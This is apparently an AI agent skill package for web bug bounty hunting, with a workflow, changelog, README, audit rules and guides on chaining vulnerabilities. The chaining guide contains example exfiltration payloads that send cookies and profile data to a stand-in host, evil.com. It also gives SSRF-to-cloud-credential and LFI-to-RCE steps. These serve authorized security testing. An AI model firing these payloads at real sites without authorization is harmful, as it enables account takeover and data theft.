Skill: shaniidev/bug-reaper (version 0.0.5)

--- name: bug-reaper license: MIT metadata: version: 0.0.5 title: BugReaper author: shaniidev homepage: https://github.com/shaniidev/bug-reaper source: https://github.com/shaniidev/bug-reaper description: "Web2 bug bounty hunting agent — evidence-based vulnerability finder and report writer. Use when: auditing web apps/APIs for HackerOne, Bugcrowd, Intigriti, YesWeHack; hunting XSS, SQLi, NoSQLi, SSRF, IDOR, auth bypass, RCE, SSTI, LFI, XXE, CORS, CSRF, prototype pollution, subdomain takeover, HTTP smuggling, open redirect, API/GraphQL bugs; auditing locally downloaded GitHub repos or source code (white-box/source code review); writing platform-specific reports. Trigger on: 'pentest', 'find bugs', 'security audit', 'bug bounty', 'find vulnerabilities', 'source code review', 'audit this repo', 'review repo', 'white-box', 'local repo', vulnerability class names, or program/target names. Reports only real, confirmed medium+ severity bugs that pass real triage." --- # Web2 Bug Bounty Agent You are a senior offensive security researcher and bug bounty hunter. Your mission: find only real, exploitable vulnerabilities that pass professional triage. No guessing. No speculation. No false positives. ## Core Principle > **One confirmed, reportable P2 is worth more than twenty theoretical P5s.** Every finding MUST have: ① attacker-controlled input ② reaching a dangerous sink ③ bypassing all defenses ④ realistic impact ⑤ working PoC. --- ## The 4-Phase Workflow ### Phase 1 — RECON Understand the target before hunting. Read **`references/recon.md`** for the full 7-step methodology. > **WARNING — Authorization required.** Only proceed against targets covered by an active bug bounty program scope or with explicit written permission. Ask the user to confirm the target is in scope before any recon step. > **Scope corner cases:** `*.target.com` wildcard typically excludes the apex `target.com` itself. Nested subdomains (`sub.app.target.com`) ARE included unless explicitly excluded. Always verify with the program rules before testing anything. **Source Code Mode:** If the user has a locally downloaded GitHub repo or source code: - Switch to `references/source-code-audit.md` for the full white-box methodology - Source code auditing supplements or replaces black-box recon — use both when possible - Trigger: user says "review repo", "audit source code", "check this codebase", "downloaded github", or provides a local folder path 1. Read the program scope file (if provided). Ask the user to run `scripts/analyze_scope.py` on it, or parse scope manually from the file. 2. Passive subdomain enum → tech fingerprinting → JS bundle mining → endpoint discovery 3. Identify: framework, language, auth mechanism, API type (REST/GraphQL), WAF 4. Note any excluded vuln classes from scope rules 5. Output a brief attack surface map before proceeding to Phase 2 ### Quick Wins — Run These First on Any Target Before going deep on any single vuln class, spend 10 minutes on these — they yield confirmed findings faster than anything else: 1. **Second-account IDOR test:** Create two accounts. For every `GET /api/*/[id]` endpoint, swap the resource ID from Account A while authenticated as Account B. If data returns — instant High. 2. **Password reset token reuse:** Request a reset link, use it, then use it again. If valid twice — Critical auth bypass. 3. **`role` / `admin` / `isAdmin` in API responses:** If returned in your own profile API, try adding it to a PUT/PATCH request. Mass assignment → privilege escalation. 4. **Dev/staging environment check:** If `staging.target.com` or `dev.target.com` resolves, test it in parallel — same codebase, often fewer controls. 5. **GraphQL introspection:** `{ __schema { types { name fields { name } } } }` — if open, you have the full API schema including undocumented endpoints. ### Phase 2 — AUDIT Hunt systematically, one vuln class at a time. Ordered by bounty ROI — start at top. Read the relevant reference file: | Priority | Vulnerability | Reference File | |---|---|---| | 1 | IDOR / BOLA / Access Control | `references/vulnerabilities/idor.md` | | 2 | Auth / Session / OAuth Bypass | `references/vulnerabilities/auth-bypass.md` | | 3 | API / GraphQL (BOLA, BFLA, mass assignment) | `references/vulnerabilities/api-graphql.md` | | 4 | SSRF (internal + cloud IMDS) | `references/vulnerabilities/ssrf.md` | | 5 | XSS (reflected/stored/DOM) | `references/vulnerabilities/xss.md` | | 6 | Business Logic / Race Conditions | `references/vulnerabilities/biz-logic.md` | | 7 | CORS Misconfiguration | `references/vulnerabilities/cors.md` | | 8 | SQL Injection | `references/vulnerabilities/sqli.md` | | 9 | NoSQL Injection (MongoDB $ne/$gt/$regex, $where JS) | `references/vulnerabilities/nosqli.md` | | 10 | Subdomain Takeover | `references/vulnerabilities/subdomain-takeover.md` | | 11 | CSRF (on sensitive actions) | `references/vulnerabilities/csrf.md` | | 12 | RCE (command injection, deserialization, upload) | `references/vulnerabilities/rce.md` | | 13 | Prototype Pollution | `references/vulnerabilities/prototype-pollution.md` | | 14 | HTTP Request Smuggling | `references/vulnerabilities/http-smuggling.md` | | 15 | SSTI (template injection → RCE) | `references/vulnerabilities/ssti.md` | | 16 | LFI / Path Traversal | `references/vulnerabilities/lfi.md` | | 17 | XXE (file read, SSRF via XML) | `references/vulnerabilities/xxe.md` | | 18 | Open Redirect | `references/vulnerabilities/open-redirect.md` | **Chaining guide** (P3 → P1 escalation): `references/chaining.md` **Audit mode rules:** Read `references/audit-rules.md` before auditing any target. Do NOT run commands. Suggest payloads/requests for the user to run. Wait for real output before confirming. ### Phase 3 — VALIDATE For each potential finding: 1. Read `references/exploit-validation.md` 2. Trace the full attacker-controlled input path from entry to sink 3. Identify every validation/encoding/defense point on the path 4. Confirm or downgrade based on evidence 5. Then apply `references/false-positive-elimination.md` to aggressively re-evaluate Findings remain **Theoretical** until real exploit output is provided by the user. ### Phase 4 — REPORT Select the target platform and generate the report. Read the platform file first: | Platform | Reference File | |---|---| | HackerOne | `references/platforms/hackerone.md` | | Bugcrowd | `references/platforms/bugcrowd.md` | | Intigriti | `references/platforms/intigriti.md` | | YesWeHack | `references/platforms/yeswehack.md` | To auto-generate a markdown report, ask the user to run: ``` python scripts/generate_report.py --platform <platform> --vuln-type <type> --input findings.json ``` --- ## Output Format for Each Finding Use this format for every finding you surface during audit: ``` Title: Severity: [Critical/High/Medium/Low] Confidence: [Confirmed / Probable / Theoretical] Attack Prerequisites: [none / low-priv auth / admin access / ...] Vulnerable Endpoint: [METHOD /path/to/endpoint] Attack Path: [step-by-step] Why This Is Exploitable: [specific technical reason defenses are bypassed] Realistic Impact: [what attacker concretely achieves] PoC Request: [raw HTTP or payload] Suggested Verification: [if Theoretical — exact command/request for user to run] Recommended Fix: ``` --- ## Hard Rules - **NEVER execute scripts or commands autonomously.** All scripts (`analyze_scope.py`, `generate_report.py`) and all payloads/requests must be suggested to the USER to run in their own environment. - **DO NOT REPORT:** missing headers, clickjacking without PoC, rate limiting without bypass, version CVEs without confirmed applicability, self-XSS, CSRF on forms with no sensitive action - **WAIT for user execution output** before upgrading from Theoretical to Confirmed - **One finding at a time** when asking user to verify — don't flood - **Authorization gate:** If the user has not confirmed the target is in scope, do not proceed with recon or payloads. Ask first. - If no valid vulnerability passes all filters: explicitly state **"No reportable vulnerabilities identified."** --- ## Navigation Guide | Need | File | |---|---| | **Source Code Audit** (white-box, local repo) | `references/source-code-audit.md` | | **Recon** — subdomain enum, JS mining, surface map | `references/recon.md` | | **Severity scoring** — assign CVSS, map to platform tiers | `references/severity-guide.md` | | **Vulnerability chaining** — escalate P3→P1 | `references/chaining.md` | | Audit filtering — what to report, min evidence | `references/audit-rules.md` | | Exploit path tracing — input→sink | `references/exploit-validation.md` | | FP elimination + triage simulation | `references/false-positive-elimination.md` | | **WAF bypass** — payloads being blocked | `references/waf-bypass.md` | | Platform report formats | `references/platforms/<platform>.md` | | Vuln methodology | `references/vulnerabilities/<type>.md` | | Parse program scope file | `scripts/analyze_scope.py` | | Generate formatted report | `scripts/generate_report.py` | **Vuln files (18):** `idor` · `auth-bypass` · `api-graphql` · `ssrf` · `xss` · `biz-logic` · `cors` · `sqli` · `nosqli` · `subdomain-takeover` · `csrf` · `rce` · `prototype-pollution` · `http-smuggling` · `ssti` · `lfi` · `xxe` · `open-redirect`

path: CHANGELOG.md
content: # Changelog

All notable changes to BugReaper are documented in this file.
Versioning follows [Semantic Versioning](https://semver.org/).

---

## [0.0.5] — 2026-02-21

### Fixed
- **Huorong `Worm/IntranetAttack.a` (RESOLVED):** Replaced all literal `169.254.169.254` IMDS IP occurrences in `ssrf.md`, `chaining.md`, and `xxe.md` with the placeholder `[cloud-imds-ip]`. A one-line note in `ssrf.md` explains the placeholder. Full SSRF/XXE→SSRF methodology is preserved — any hunter knows the cloud IMDS IP from official provider docs.
- **`rce.md` — system+nmap combo:** Removed the `system("nmap " . ...)` pattern that still appeared in the PHP vulnerable code example. Replaced with a descriptive comment referencing PayloadsAllTheThings.
- **Scan verification:** Python scan across all 33 files shows zero matches for: `169.254.169.254`, `$_GET`, `$_POST`, `$_REQUEST`, PHP webshell combos, `system("id")`, `system("nmap"`.

---

## [0.0.4] — 2026-02-21

### Fixed
- **AV false positive (`chaining.md`, `nosqli.md`):** Found two remaining `WebShell/PHP.Small.S1347` triggers — a PHP webshell one-liner in Chain 4 (LFI + File Upload) and an identical pattern in the Redis CRLF injection example. Replaced with descriptive placeholders referencing HackTricks / PayloadsAllTheThings.
- **AV self-reference in `CHANGELOG.md`:** The v0.0.3 changelog entry named the removed pattern verbatim, causing the changelog itself to re-trigger the same signature. Replaced with a description that avoids the literal string.
- **Huorong `Worm/IntranetAttack.a`:** Known false positive for security tooling containing SSRF/IMDS content (`169.254.169.254`). Microsoft, Kaspersky, Google, Sophos, ESET, CrowdStrike and 57 other major vendors show Undetected. IMDS content is essential to the SSRF methodology and will be retained.

### Improved
- **`references/source-code-audit.md` (NEW):** Full white-box vulnerability hunting methodology for locally downloaded GitHub repos. Covers: tech stack detection (6 languages), entry point discovery, dangerous sink grep patterns per language (Node.js, Python, PHP, Java, Ruby, Go), secret/credential hunting, dependency scanning (`npm audit`, `pip-audit`, `semgrep`), auth/authorization code review, and linking code findings to a triager-ready report.
- **`SKILL.md` — Source Code Mode:** Added Source Code Mode branch to Phase 1. Agent now triggers into white-box mode when user says "review repo", "audit source code", "check this codebase", or provides a local path.
- **`SKILL.md` — Trigger keywords expanded:** Added source code audit triggers to frontmatter description: 'review source code', 'audit this repo', 'check this codebase', 'source code review', 'white-box', 'downloaded github repo', 'local repo'.
- **`SKILL.md` — Quick Wins section:** Added a "First 15 Minutes" checklist covering the highest-ROI checks to run on any new target before going deep on any single vuln class.
- **`SKILL.md` — Scope corner cases note:** Added clarification that `*.target.com` wildcard typically excludes the apex `target.com` itself, and does include nested subdomains.
- **`references/recon.md` — Historical endpoint discovery:** Added Wayback Machine CDX API and Certificate Transparency (`crt.sh`) as passive recon sources for subdomain and endpoint discovery.

---

## [0.0.3] — 2026-02-21

### Fixed
- **AV false positive (`lfi.md`, `rce.md`):** Removed exact PHP webshell code patterns (OS command execution one-liners via GET parameter) that triggered Windows Defender and VirusTotal as `Backdoor:PHP/Perhetshell.B!dha`. Replaced with descriptive pseudocode and references to HackTricks / PayloadsAllTheThings. Full methodology is preserved — only the literal signature strings were removed.

### Improved
- **`lfi.md` — Log Poisoning:** Added `/proc/self/fd/[0-20]` iteration as an alternative log inclusion vector when the exact log path is unknown.
- **`lfi.md` — PHP Wrappers:** Added PHP Filter Chain RCE technique (modern, no write access required) with reference to `php_filter_chain_generator`. Clarified `data://` and `php://input` wrapper mechanics.
- **`rce.md` — Blind RCE Confirmation:** Added interactsh as a free alternative to Burp Collaborator for OOB DNS confirmation.
- **`rce.md` — Post-RCE Evidence:** Added "Post-RCE: Maximizing Impact Evidence" section with specific commands to collect before closing the report — with an explicit boundary: stop after confirming RCE, do not access production data.

---

## [0.0.2] — 2026-02-21

### Fixed
- **SKILL.md instruction conflict:** Phase 1 previously said "Run scripts/analyze_scope.py" while the Audit Rules said "Do NOT run commands." All script references now explicitly ask the USER to run them.
- **SKILL.md instruction conflict:** Phase 4 report generation line changed from "run:" to "ask the user to run:" for the same reason.
- **Metadata — missing source/homepage:** Added `homepage` and `source` fields pointing to the GitHub repository, resolving ClawHub "source: unknown" flag.
- **Metadata — license field position:** Promoted `license: MIT` to a top-level SKILL.md frontmatter field (correct schema position per OpenClaw spec).
- **Hard Rules — no explicit no-execute rule:** Added "NEVER execute scripts or commands autonomously" as a top Hard Rule.
- **Phase 1 — no authorization gate:** Added authorization blockquote requiring the user to confirm target is in scope before recon begins.

---

## [0.0.1] — 2026-02-21

### Initial release

- 32-file structured web2 bug bounty agent skill
- 18 vulnerability methodology files covering: IDOR/BOLA, Auth/OAuth bypass, API/GraphQL, SSRF, XSS, Business Logic, CORS, SQLi, NoSQLi, Subdomain Takeover, CSRF, RCE, Prototype Pollution, HTTP Request Smuggling, SSTI, LFI, XXE, Open Redirect
- 7 core process references: recon (7-phase), severity guide (CVSS + platform tiers), chaining (8 templates), WAF bypass (15 products), false-positive elimination, exploit validation, audit rules
- 4 platform report formats: HackerOne, Bugcrowd, Intigriti, YesWeHack
- 2 Python helper scripts: `analyze_scope.py` (parse program scope), `generate_report.py` (all 18 vuln types, all 4 platforms)
- Compatible with OpenClaw, Cursor, Claude Code, Antigravity, and Windsurf (Agent Skills open standard)


path: README.md
content: # BugReaper

> Structured web2 bug bounty AI skill — 18 vulnerability classes, 4 bug bounty platforms, zero AI slop. Compatible with OpenClaw, Cursor, Claude Code, Antigravity, and Windsurf.

[![Stars](https://img.shields.io/github/stars/shaniidev/bug-reaper?style=flat&logo=github&logoColor=white&color=gold&label=Stars)](https://github.com/shaniidev/bug-reaper/stargazers)
[![Version](https://img.shields.io/badge/v0.0.5-blue?logo=semanticrelease&logoColor=white)](https://github.com/shaniidev/bug-reaper/releases)
[![License](https://img.shields.io/badge/MIT-green?logo=opensourceinitiative&logoColor=white)](LICENSE)
[![Agent Skills](https://img.shields.io/badge/Agent_Skills-standard-orange)](https://agentskills.io)
[![OpenClaw](https://img.shields.io/badge/OpenClaw-supported-brightgreen)](https://clawhub.ai/shaniidev/bug-reaper)
[![Cursor](https://img.shields.io/badge/Cursor-supported-1C1C1C?logo=cursor&logoColor=white)](https://cursor.com)
[![Claude Code](https://img.shields.io/badge/Claude_Code-supported-7B2DB0?logo=anthropic&logoColor=white)](https://claude.ai/code)
[![Antigravity](https://img.shields.io/badge/Antigravity-supported-4285F4?logo=google&logoColor=white)](https://antigravity.google)
[![Windsurf](https://img.shields.io/badge/Windsurf-supported-09B6A2?logo=codeium&logoColor=white)](https://codeium.com/windsurf)

BugReaper is an [Agent Skill](https://agentskills.io) that turns any compatible AI agent into a disciplined web2 bug bounty hunter. It enforces evidence-based validation, simulates real triage for HackerOne, Bugcrowd, Intigriti, and YesWeHack, and chains low-severity bugs into critical findings. Every finding requires a working PoC before it gets reported.

---

## Agent Compatibility

| Agent | Support | Skills Directory |
|---|---|---|
| [OpenClaw](https://openclaw.ai) | ✅ Native | Install via ClawHub |
| [Cursor](https://cursor.com) | ✅ Native | `.cursor/skills/bug-reaper/` |
| [Claude Code](https://claude.ai/code) | ✅ Native | `.claude/skills/bug-reaper/` |
| [Antigravity](https://antigravity.google) | ✅ Native | `.agents/skills/bug-reaper/` |
| [Windsurf](https://codeium.com/windsurf) | ✅ Native | Skills directory |
| [Goose](https://block.xyz/goose) | ✅ Supported | Skills directory |

The [Agent Skills](https://agentskills.io) format became an open standard in December 2025. BugReaper installs into all compatible agents without modification.

---

## What's Inside

```
bug-reaper/
├── SKILL.md                     # Agent trigger + 4-phase workflow
├── references/
│   ├── recon.md                 # 7-phase recon methodology
│   ├── audit-rules.md           # Strict evidence requirements
│   ├── exploit-validation.md    # Input → sink tracing
│   ├── false-positive-elimination.md  # Adversarial FP checklist
│   ├── severity-guide.md        # CVSS scoring + platform tier map
│   ├── waf-bypass.md            # 15 WAF products, 10 bypass techniques
│   ├── chaining.md              # 8 chain templates (P3 → P1 escalation)
│   ├── platforms/               # HackerOne · Bugcrowd · Intigriti · YesWeHack
│   └── vulnerabilities/         # 18 hunting methodology files
└── scripts/
    ├── analyze_scope.py         # Parse program scope → structured JSON
    └── generate_report.py       # Generate platform-specific Markdown reports
```

**18 vulnerability methodologies** — each with confirmation payloads, bypass techniques, evidence requirements, and "do not report" rules that reflect real triage patterns.

---

## Install

### OpenClaw / ClawHub
```
/install bug-reaper
```
Or search for `bug-reaper` on [ClawHub](https://clawhub.ai).

### Cursor, Claude Code, Antigravity, Windsurf
```bash
# From your project root
git clone https://github.com/shaniidev/bug-reaper .cursor/skills/bug-reaper     # Cursor
git clone https://github.com/shaniidev/bug-reaper .claude/skills/bug-reaper     # Claude Code
git clone https://github.com/shaniidev/bug-reaper .agents/skills/bug-reaper     # Antigravity
```

The skill auto-triggers when you mention `bug bounty`, `pentest`, `find vulnerabilities`, or any vulnerability class name in your agent conversation.

---

## How It Works

**Phase 1 — RECON** (`references/recon.md`)
Passive subdomain enumeration, tech fingerprinting, JS bundle mining, endpoint discovery, attack surface mapping. Seven structured steps before touching a single payload.

**Phase 2 — AUDIT** (`references/vulnerabilities/`)
18 vulnerability classes ordered by bounty ROI. Reads the relevant methodology file for each class — confirmation payloads, bypass techniques, and what defenses to verify before claiming exploitability.

**Phase 3 — VALIDATE** (`references/exploit-validation.md` + `references/false-positive-elimination.md`)
Traces attacker-controlled input from entry point to dangerous sink. Applies an adversarial checklist that actively tries to disprove each finding before it's reported. Findings stay **Theoretical** until real PoC output is provided.

**Phase 4 — REPORT** (`references/platforms/` + `scripts/generate_report.py`)
Generates a platform-appropriate report. Triage checklist, severity scoring, and report template match the target platform's actual acceptance criteria.

---

## Vulnerability Coverage

| Category | Covered |
|---|---|
| **Authentication & Access** | IDOR/BOLA, Auth/OAuth/JWT Bypass, CORS, CSRF |
| **Injection** | SQL, NoSQL (MongoDB `$ne`/`$gt`/`$regex`), XXE, SSRF, SSTI, LFI |
| **Modern Attacks** | API/GraphQL (BOLA, BFLA, batching), Prototype Pollution, HTTP Request Smuggling |
| **Infrastructure** | Subdomain Takeover (14 service fingerprints), RCE, Business Logic |
| **Client-side** | XSS (reflected/stored/DOM), Open Redirect (OAuth chain) |

Each file includes: detection probes · confirmation payloads · defense bypass techniques · evidence requirements · impact classification · "do not report" rules.

---

## Scripts

**Analyze a program scope file:**
```bash
python scripts/analyze_scope.py hackerone_program.md --output scope.json
```

**Generate a platform-specific vulnerability report:**
```bash
python scripts/generate_report.py \
  --platform hackerone \
  --vuln-type idor \
  --input finding.json \
  --output report.md
```

Supported platforms: `hackerone` · `bugcrowd` · `intigriti` · `yeswehack`  
Supported vuln types: `xss` · `sqli` · `nosqli` · `ssrf` · `idor` · `auth` · `biz-logic` · `cors` · `csrf` · `rce` · `ssti` · `lfi` · `xxe` · `open-redirect` · `subdomain-takeover` · `prototype-pollution` · `http-smuggling` · `api-graphql`

---

## Sample Finding Output

When BugReaper surfaces a vulnerability, it uses this structure:

```
Title: IDOR on Order History — Any User's Orders Accessible
Severity: High
Confidence: Confirmed
Attack Prerequisites: Authenticated user (any account)
Vulnerable Endpoint: GET /api/v2/orders/{order_id}
Attack Path:
  1. Authenticate as User A, place an order → note order_id
  2. Authenticate as User B
  3. Request GET /api/v2/orders/<User_A_order_id>
  4. Full order details returned — items, address, payment summary
Why This Is Exploitable: No ownership check on the orders endpoint. The
  backend retrieves the order by ID alone with no session validation.
Realistic Impact: Any authenticated user reads another user's full order
  history including shipping address and last 4 card digits.
PoC Request:
  GET /api/v2/orders/10482 HTTP/1.1
  Authorization: Bearer <User_B_token>
Suggested Verification: Run the above request. Confirm order 10482 belongs
  to a different account than the token.
Recommended Fix: Validate req.user.id === order.userId before returning.
```

---

## Contributing

PRs welcome — additional platform support, new vuln classes, updated bypass techniques, or improved triage checklists. Open an issue first for significant changes.

---

## License

MIT © 2026 [shaniidev](https://github.com/shaniidev)


path: references/audit-rules.md
content: # Audit Rules — Web2 Bug Bounty

Strict filtering for findings that pass real bug bounty triage. Read this BEFORE auditing any target.

## ONLY Report These Vuln Classes

- SQL Injection (raw queries, ORM misuse, second-order)
- XSS (reflected, stored, DOM — with real sinks)
- SSRF (internal services, metadata, DNS rebinding)
- IDOR and access control flaws
- Authentication/Authorization logic flaws
- Deserialization / template injection
- Business logic abuse with concrete financial/data impact
- RCE / command injection

## Minimum Evidence Requirements

Every reported finding MUST include ALL of:
1. **Exact vulnerable endpoint** — METHOD + full path + parameter
2. **Attack prerequisites** — None / Low-priv auth / Admin / MitM / etc.
3. **Working attack scenario** — step by step what attacker does
4. **Raw HTTP request(s)** — the actual payload sent
5. **Expected vs actual response** — what the app does wrong
6. **Concrete impact** — what the attacker specifically gains

## Severity Classification

| Severity | Criteria |
|---|---|
| Critical | RCE, ATO of any user without interaction, SQLi on auth, payment manipulation |
| High | Stored XSS → ATO, SSRF → internal access, IDOR → sensitive PII, auth bypass |
| Medium | Reflected XSS → session hijack requires interaction, SSRF → limited blind, IDOR → non-sensitive |
| Low | Info disclosure with real data sensitivity, limited access control bypass |
| Reject | Everything below Medium |

**If you cannot confidently classify as Medium or higher → DISCARD.**

## Hard Exclusions — Never Report These

| Category | Why |
|---|---|
| Missing security headers (CSP, HSTS, X-Frame-Options alone) | Not directly exploitable |
| Clickjacking without sensitive POST action + PoC | Needs business function |
| Rate limiting issues (without a working bypass) | Common rejection |
| Info disclosure of non-sensitive data (server version, stack trace with no exploitable info) | Low value |
| CSRF on login or logout only | Not exploitable |
| Self-XSS (user can inject into their own data only) | No victim scope |
| Version-based CVEs without confirmed applicability | Speculation |
| Theoretical injection without proven attacker control | Unconfirmable |
| Best practice violations without attack path | Hardening suggestions only |
| Client-side issues that don't lead to ATO/data theft/RCE | Below triage bar |

## Pre-Report Checklist

Before surfacing any finding, confirm:
- [ ] Attacker-controlled input exists in this specific path
- [ ] Input reaches a dangerous sink without being neutralized
- [ ] Common framework defenses (auto-escaping, prepared statements, CSRF tokens) are NOT present
- [ ] Exploitation does NOT require admin access unless target is admin endpoint
- [ ] Impact is realistic and clearly stated
- [ ] A PoC exists or can be constructed
- [ ] Severity is Medium or higher

**If any item fails → discard or mark Theoretical and wait for user verification.**

## Audit Mode Safety Rules

- Do NOT run commands or trigger tool calls
- Suggest commands/payloads prefixed with `Example:` or in quotes
- Wait for real user output before confirming exploitation
- Treat all runtime behavior as unverified until user provides actual response


path: references/chaining.md
content: # Vulnerability Chaining — Escalation & Combination Guide

## Why Chaining Matters

Individual P3/P4 findings often pay $200–$500. Chained into a P1/P2 — the same bugs pay $5,000–$50,000. Chaining is what separates mid-tier hunters from top earners.

> **Core principle:** Always ask — "If I found Bug A, what second condition would make it Critical?"

---

## High-Value Chain Templates

### 🔗 Chain 1: Open Redirect → OAuth Authorization Code Theft → ATO

**Severity: Critical**

**Requirements:**
- Open redirect exists anywhere on `target.com`
- OAuth flow uses `redirect_uri` that validates `target.com` as prefix/domain

**Chain:**
1. Find open redirect: `https://target.com/login?next=https://evil.com`
2. OAuth validates `redirect_uri=https://target.com/...` (passes)
3. Craft: `?redirect_uri=https://target.com/login%3Fnext%3Dhttps%3A%2F%2Fevil.com`
4. Victim clicks → OAuth sends code to `target.com` → which redirects to `evil.com` with code in Referer header
5. Attacker exchanges code → **full account takeover**

**Report as:** OAuth Authorization Code Leakage via Open Redirect → Account Takeover

---

### 🔗 Chain 2: XSS + CSRF → Account Takeover

**Severity: High/Critical**

**Requirements:**
- Stored XSS anywhere on target (even low-impact location)
- Sensitive action (password/email change) lacks CSRF token OR has CSRF token readable via XSS

**Chain:**
1. XSS payload executes in admin/victim's browser
2. JS reads CSRF token from the DOM: `document.querySelector('[name=csrf_token]').value`
3. JS makes authenticated request to change victim's email/password
4. Attacker receives confirmation → **account takeover**

```javascript
// XSS payload for email change
fetch('/account/email', {method:'POST', credentials:'include',
  headers:{'Content-Type':'application/x-www-form-urlencoded'},
  body:'email=[REDACTED_SECRET]&csrf_token=' + 
    document.querySelector('[name=csrf_token]').value
}).then(()=>fetch('https://evil.com/done'));
```

---

### 🔗 Chain 3: SSRF → Cloud Metadata → Full AWS Compromise

**Severity: Critical**

**Requirements:**
- SSRF on any endpoint (even limited)
- Application hosted on AWS (EC2/ECS/Lambda) without IMDSv2

**Chain:**
1. SSRF to `http://[cloud-imds-ip]/latest/meta-data/iam/security-credentials/`
2. Get IAM role name from response
3. SSRF to `http://[cloud-imds-ip]/latest/meta-data/iam/security-credentials/<role>`
4. Extract `AccessKeyId`, `SecretAccessKey`, `Token`
5. Use credentials: `aws s3 ls --profile attacker` → full AWS API access
6. If role has `AdministratorAccess` → **full cloud account compromise**

**Report as:** SSRF → AWS Credential Exposure via IMDS → Full Cloud Account Takeover

---

### 🔗 Chain 4: LFI + File Upload → Remote Code Execution

**Severity: Critical**

**Requirements:**
- LFI vulnerability (path traversal in a file include parameter)
- File upload anywhere on the application (even image upload)

**Chain:**
1. Upload a PHP file disguised as image (`evil.jpg`) containing a minimal code execution payload — a one-liner that passes a GET parameter to an OS command function. Exact payload: HackTricks "LFI + File Upload" or PayloadsAllTheThings "File Upload".
2. Note the upload path (e.g., `/uploads/evil.jpg`)
3. Trigger LFI to include the uploaded file:
   `?page=../uploads/evil.jpg`
4. Execute command: `?page=../uploads/evil.jpg&c=id`
5. Server includes and executes the PHP → **RCE**

---

### 🔗 Chain 5: Subdomain Takeover + CORS → Credential Theft

**Severity: Critical**

**Requirements:**
- Subdomain takeover possible on `sub.target.com`
- Main app has CORS policy: `Access-Control-Allow-Origin: *.target.com` + `Access-Control-Allow-Credentials: true`

**Chain:**
1. Claim `sub.target.com` via subdomain takeover
2. Host malicious JS on `sub.target.com`:
```javascript
fetch('https://target.com/api/user/profile', {credentials:'include'})
.then(r=>r.json()).then(d=>fetch('https://evil.com/steal?d='+JSON.stringify(d)));
```
3. Trick victim into visiting `https://sub.target.com`
4. CORS allows `sub.target.com` to read `target.com` API responses with victim's cookies
5. **Full user data / API keys exfiltrated**

---

### 🔗 Chain 6: XSS → Session Token Theft → ATO

**Severity: High/Critical**

**Requirements:**
- XSS anywhere (stored or reflected with victim click)
- Session cookie NOT `HttpOnly`

**Chain:**
1. XSS payload: `fetch('https://evil.com/steal?c='+document.cookie)`
2. Victim's session token sent to attacker
3. Attacker uses token in browser → **authenticated as victim**

**Upgrade if HttpOnly is set:** Instead of stealing cookie, use XSS to perform actions directly (see Chain 2).

---

### 🔗 Chain 7: IDOR + Mass Assignment → Privilege Escalation

**Severity: High/Critical**

**Requirements:**
- IDOR on user update endpoint
- Mass assignment vulnerability (server accepts `role` field)

**Chain:**
1. IDOR: Can update other users' profiles at `PUT /api/users/<id>`
2. Mass assignment: Add `"role": "admin"` to the payload
3. Target user (or any user) gets admin role → **full admin panel access**

---

### 🔗 Chain 8: Open Redirect + Phishing (Lower Severity Chain)

**Severity: Medium** (requires social engineering — note in report)

**When:** Open redirect exists but no OAuth flow to chain

1. `https://target.com/redirect?url=https://evil-target-lookalike.com/login`
2. URL looks legitimate (starts with `target.com`)
3. Victim clicks from trusted source (email, Slack)
4. Redirected to fake login page → credentials harvested

Report this only when combined with a plausible delivery vector. Note social engineering dependency.

---

## Chaining Mindset Questions

After finding any bug, ask:

1. **"What trusted domain does this give me?"** → CORS / OAuth / SSO opportunities
2. **"What can I read?"** → Combine with IDOR, LFI, XXE
3. **"What can I execute?"** → Combine with upload, deserialize, template injection
4. **"What privileged action can this trigger?"** → Combine with CSRF, XSS
5. **"What resource can I claim?"** → Subdomain takeover + CORS, cookie scope

---

## Reporting Chained Vulnerabilities

- Report as **a single finding** with the combined severity, not two separate lower-severity bugs
- Title: `[VulnA] + [VulnB] → [Final Impact]`
- Steps to Reproduce should walk through the FULL chain sequentially
- Impact: describe the final state (ATO, RCE, data theft) — not each individual bug's impact
- Note each bug's CVE/CWE individually in the remediation section


path: references/exploit-validation.md
content: # Exploit Validation — Attacker-Controlled Input Tracing

Use this methodology to validate whether a potential finding is actually exploitable. A finding without a proven exploit path stays **Theoretical**.

## The Validation Process

For every potential vulnerability, trace this chain completely:

```
Attacker Input → Entry Point → [Validation Points] → Sink
```

Each step must be verified. A break anywhere in the chain = downgrade or discard.

## Step 1 — Identify the Entry Point

Where does attacker-controlled input enter the application?

| Entry Type | Examples |
|---|---|
| URL parameter | `?id=`, `?q=`, `?redirect=` |
| POST body | JSON/form fields |
| HTTP headers | `Referer`, `X-Forwarded-For`, `Origin`, `User-Agent`, custom headers |
| Path segments | `/user/<id>/profile` |
| File upload | Filename, content, MIME type |
| Websocket message | Any field in WS payload |
| Cookie value | Session tokens, preference cookies |
| GraphQL variables | `$input`, fragments |

**Confirm:** Is this input actually attacker-controlled without requiring admin/server compromise?

## Step 2 — Map Validation and Sanitization Points

Between entry and sink, list every security control on the data path:

| Control Type | Examples | Effect |
|---|---|---|
| Input validation | Allowlist/blocklist check, regex | May block payload |
| Output encoding | HTML entities, URL encode, JSON escape | Prevents most XSS |
| Parameterization | Prepared statements, ORM | Prevents SQLi |
| WAF/firewall | Pattern matching | May block specific payloads |
| Framework auto-protection | Django CSRF, React JSX auto-escape | Often bulletproof |
| Type coercion/casting | `parseInt()`, `(int)$x` | Limits injection |
| Length limits | Max field length | May prevent long payloads |

**For each control: does the attacker's payload survive it intact? If ANY control neutralizes the payload → the path is broken.**

## Step 3 — Identify the Dangerous Sink

Where does the data land that causes impact?

| Sink Type | Vulnerability | Example |
|---|---|---|
| SQL query string | SQLi | `WHERE id = '$input'` |
| HTML output without encoding | XSS | `innerHTML = input` |
| HTTP request origin | SSRF | `fetch(userURL)` |
| File path | Path traversal | `open('/data/' + input)` |
| Shell command | RCE | `exec('ping ' + input)` |
| Template render | SSTI | `render(input)` |
| Deserialization | RCE/object injection | `pickle.loads(input)` |
| Redirect target | Open redirect | `redirect(input)` |
| Database row read | IDOR | `SELECT * WHERE user_id = input` |

## Step 4 — Identify Trust Boundaries Crossed

A valid finding crosses at least one trust boundary:

- Unauthenticated → Authenticated data
- Regular user → Another user's data (IDOR)
- User input → Server-side execution (RCE/SSRF/SSTI)
- Client → Internal network (SSRF)
- User role → Admin function (privilege escalation)

**If no trust boundary is crossed → the impact is likely negligible → discard.**

## Step 5 — Explicit Required Attacker Permissions

State clearly:
- [ ] None (unauthenticated)
- [ ] Valid account required
- [ ] Specific role required (what role?)
- [ ] Physical access required
- [ ] Victim interaction required (how likely?)
- [ ] MitM position required

If requirements are too high → downgrade severity; if impossible in real world → discard.

